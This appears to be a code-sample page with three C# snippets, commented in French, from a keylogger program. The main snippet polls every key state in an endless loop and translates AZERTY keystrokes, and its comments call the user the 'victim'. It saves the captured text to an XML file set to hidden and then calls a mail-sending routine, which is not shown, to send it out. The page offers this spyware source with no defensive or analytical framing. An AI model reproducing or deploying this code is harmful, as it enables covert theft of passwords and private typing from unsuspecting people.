Example #1
0
        //Chargement des fichiers XML
        public static CollectionEnregistrement loadFromXML(string nomFichier)
        {
            //Fichier en mode ouverture
            FileStream    file       = File.Open(nomFichier, FileMode.Open);
            XmlSerializer serializer = new XmlSerializer(typeof(CollectionEnregistrement));

            //Création de la collection en deserialisant le fichier
            CollectionEnregistrement collection_enregistrement = (CollectionEnregistrement)serializer.Deserialize(file);

            //Fermeture du fichier
            file.Close();

            //On retourne la collection créée
            return(collection_enregistrement);
        }
Example #2
0
        //Constructeur
        public KeyLogger()
        {
            //initialisation du nombre de caractere
            nb_caractere_tape = 0;

            //Le temps d'attente est initialisé (En miliseconde)
            sleep_time = 3;

            //on initialise le temps d'inactivité maximum (En minute)
            temps_inactivite_max = 5;

            //On initialise la collection
            collection_enregistrement = new CollectionEnregistrement();

            //Chemin pour enregistrer le fichier XML
            file_path = "Capture.xml";
        }
Example #3
0
        public void capture()
        {
            //Création d'un objet Enregistrement qui contiendra le contenu de la capture clavier
            Enregistrement enregistrement = new Enregistrement();

            //Booleen qui détermine si les touches sont activées
            bool majuscule = false;
            bool shift     = false;
            bool ctrl      = false;
            bool alt       = false;
            bool altgr     = false;

            //Initialisation du moment de la derniere activité de l'ordinateur de la victime
            DateTime date_dernier_activite = DateTime.Now;

            //Boucle "infinie"
            while (true)
            {
                //On test si la touche shift est enfoncée
                shift = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
                //On test si la Majuscule est activé
                majuscule = Control.IsKeyLocked(Keys.CapsLock);
                //On test si la touche ctrl est activée
                ctrl = (Control.ModifierKeys & Keys.Control) == Keys.Control;
                //On test si la touche alt cest activée
                alt = (Control.ModifierKeys & Keys.Alt) == Keys.Alt;
                //On test si la touche altgr est activé
                // CTRL + ALT
                altgr = (Control.ModifierKeys & Keys.Alt) == Keys.Alt && (Control.ModifierKeys & Keys.Control) == Keys.Control;

                //On fait dormir le programme un certaint temps car nous sommes dans une boucle infinie
                Thread.Sleep(sleep_time);

                //Verification de l'état de chaque touche
                for (int codeASCII = 0; codeASCII < 256; codeASCII++)
                {
                    //Statut de la clé touche correspondant au codeASCII
                    int statut_cle = GetAsyncKeyState(codeASCII);

                    //Le statut d'un clé est a 0 si elle n'est pas active et est a 32769 si la touche est appuyée
                    if (statut_cle == 32769)
                    {
                        //le temps d'innactivité est reinitialisé
                        date_dernier_activite = DateTime.Now;

                        //Chaine de caractère servant de pivot pour le traitement de certaines touches
                        string valeurs;

                        //Test sur le codeASCII pour lequel la condition est activée
                        switch (codeASCII)
                        {
                        //Si touche Entrée ou cli souris
                        case 1:
                        case 2:
                        case 13:
                            //On ajoute l'enregistrement a la collection
                            collection_enregistrement.ajouterNew(enregistrement);

                            //On réinitialise l'enregistrement
                            enregistrement = new Enregistrement();

                            break;

                        //touche effacer
                        case 8:
                            if (alt == false)
                            {
                                enregistrement.effacerContenu();
                            }
                            break;

                        //touche espace
                        case 32:

                            if (alt == false)
                            {
                                enregistrement.ajouterContenu(" ");
                            }

                            break;

                        //touche suppr
                        case 46:
                            break;

                        case 48:
                        case 49:
                        case 50:
                        case 51:
                        case 52:
                        case 53:
                        case 54:
                        case 55:
                        case 56:
                        case 57:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                if (majuscule == false & altgr == false & shift == false)
                                {
                                    valeurs = "à&é\"'(-è_ç";
                                    enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 48, 1));
                                }
                                else
                                {
                                    if (altgr == true)
                                    {
                                        valeurs = "@ ~#{[|`\\^";
                                        enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 48, 1));
                                        altgr = false;
                                    }
                                    else
                                    {
                                        valeurs = "0123456789";
                                        enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 48, 1));
                                    }
                                }
                            }
                            break;

                        //pavé numérique
                        case 96:
                        case 97:
                        case 98:
                        case 99:
                        case 100:
                        case 101:
                        case 102:
                        case 103:
                        case 104:
                        case 105:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                valeurs = "0123456789";
                                enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 96, 1));
                            }
                            break;

                        //Touches à côté du pavé numérique
                        case 106:
                        case 107:
                        case 109:
                        case 110:
                        case 111:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                valeurs = "*+ -./";
                                enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 106, 1));
                            }
                            break;

                        //verrouillage du pavé numerique
                        case 144:
                            break;

                        //alt
                        case 164:
                            break;

                        case 186:
                        case 187:
                        case 188:
                        case 190:
                        case 191:
                        case 192:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                valeurs = "$=, ;:ù£+? ./%¤}";
                                if ((majuscule != shift) & altgr == false)
                                {
                                    enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 179, 1));
                                }
                                else
                                {
                                    if (altgr == true & (codeASCII == 186 | codeASCII == 187))
                                    {
                                        enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 172, 1));
                                    }
                                    else
                                    {
                                        enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 186, 1));
                                    }
                                }
                            }
                            break;

                        case 219:
                        case 220:
                        case 221:
                        case 222:
                        case 223:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                valeurs = ")*^²!°µ¨²§";
                                if ((majuscule != shift) & altgr == false)
                                {
                                    enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 214, 1));
                                }
                                else
                                {
                                    if (altgr == true & codeASCII == 219)
                                    {
                                        enregistrement.ajouterContenu(("]"));
                                    }
                                    else
                                    {
                                        enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 219, 1));
                                    }
                                }
                            }
                            break;

                        //touches < et >
                        case 226:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                if (shift == false)
                                {
                                    enregistrement.ajouterContenu("<");
                                }
                                else
                                {
                                    enregistrement.ajouterContenu(">");
                                }
                            }
                            break;

                        //les fleches
                        case 37:
                        case 38:
                        case 39:
                        case 40:
                        case 255:
                            break;

                        //ordre : azertyuiopqsdfghjklmwxcvbn
                        case 65:
                        case 90:
                        case 69:
                        case 82:
                        case 84:
                        case 89:
                        case 85:
                        case 73:
                        case 79:
                        case 80:
                        case 81:
                        case 83:
                        case 68:
                        case 70:
                        case 71:
                        case 72:
                        case 74:
                        case 75:
                        case 76:
                        case 77:
                        case 87:
                        case 88:
                        case 67:
                        case 86:
                        case 66:
                        case 78:
                            //Si les touches alt et ctrl on le meme statut
                            //(true == true) => ALTGR ou (false == false) =>pas activé
                            if (ctrl == alt)
                            {
                                //Si les deux touches sont activées (true==true) ou aucune des deux (false == false)
                                if (majuscule == shift)
                                {
                                    //on ajoute le contenu en minuscule
                                    enregistrement.ajouterContenu(Char.ToLower((char)codeASCII).ToString());
                                }
                                else
                                {
                                    //on ajoute le contenu en majuscule
                                    enregistrement.ajouterContenu(Char.ToUpper((char)codeASCII).ToString());
                                }
                            }
                            break;

                        default:
                            break;
                        }
                        //On incrémente le nombre de caractère tapé
                        nb_caractere_tape += 1;
                    }

                    //Si le nombre de caracteres tapés a dépassé la limite
                    //Et si le temps d'innactivité a dépassé 5 minutes
                    if (nb_caractere_tape > 100 && (DateTime.Now.Minute - date_dernier_activite.Minute == temps_inactivite_max || DateTime.Now.Minute - date_dernier_activite.Minute - 60 == temps_inactivite_max))
                    {
                        //On ajoute l'enregistrement a la collection
                        collection_enregistrement.ajouterNew(enregistrement);

                        //On réinitialise l'enregistrement
                        enregistrement = new Enregistrement();

                        //On enregistre le contenue en xml
                        collection_enregistrement.saveToXml(file_path);

                        //on cache le xml
                        File.SetAttributes(file_path, FileAttributes.Hidden);
                        //pour voir le xml panneau de configuration > Appareance et personalisation > afficher les fichiers et dossiers cachés > fichiers et dossiers cachés puis decocher la case

                        //On reinitialise le nombre de caracteres
                        nb_caractere_tape = 0;

                        //On réinitialise la collection
                        collection_enregistrement = new CollectionEnregistrement();

                        //envoie du mail
                        envoieMail();
                    }
                }
            }
        }